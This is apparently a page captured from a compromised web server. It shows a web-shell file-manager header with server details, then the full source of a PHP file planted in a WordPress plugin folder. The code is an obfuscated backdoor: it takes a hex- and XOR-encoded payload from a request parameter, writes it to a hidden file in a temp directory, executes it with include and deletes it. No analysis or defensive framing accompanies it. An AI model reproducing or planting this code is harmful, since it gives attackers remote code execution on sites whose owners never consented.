HEX
Server: Apache
System: Linux intelligent-franklin.159-253-45-41.plesk.page 3.10.0-962.3.2.lve1.5.79.el7.x86_64 #1 SMP Wed Mar 15 09:10:44 UTC 2023 x86_64
User: sysuser_f (10029)
PHP: 7.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/3chukuk.com/httpdocs/wp-content/plugins/custom-1760177596-2/4O4.php
<!--zFpV8c07-->
<?php

if(in_array("\x6D\x72k", array_keys($_REQUEST))){
$item = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", getenv("TMP")]);
$object = hex2bin($_REQUEST["\x6D\x72k"]);
$k   =    ''   ;      for($g=0;$g<strlen($object);$g++){$k.=chr(ord($object[$g])^42);}
$itm = 0;
do {
    $property_set = $item[$itm] ?? null;
    if ($itm >= count(item)) break;
            if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) {
            $reference = implode("/", [$property_set, ".data_chunk"]);
            if (@file_put_contents($reference, $k) !== false) {
    include $reference;
    unlink($reference);
    exit;
}
        }
    $itm++;
} while (true);
}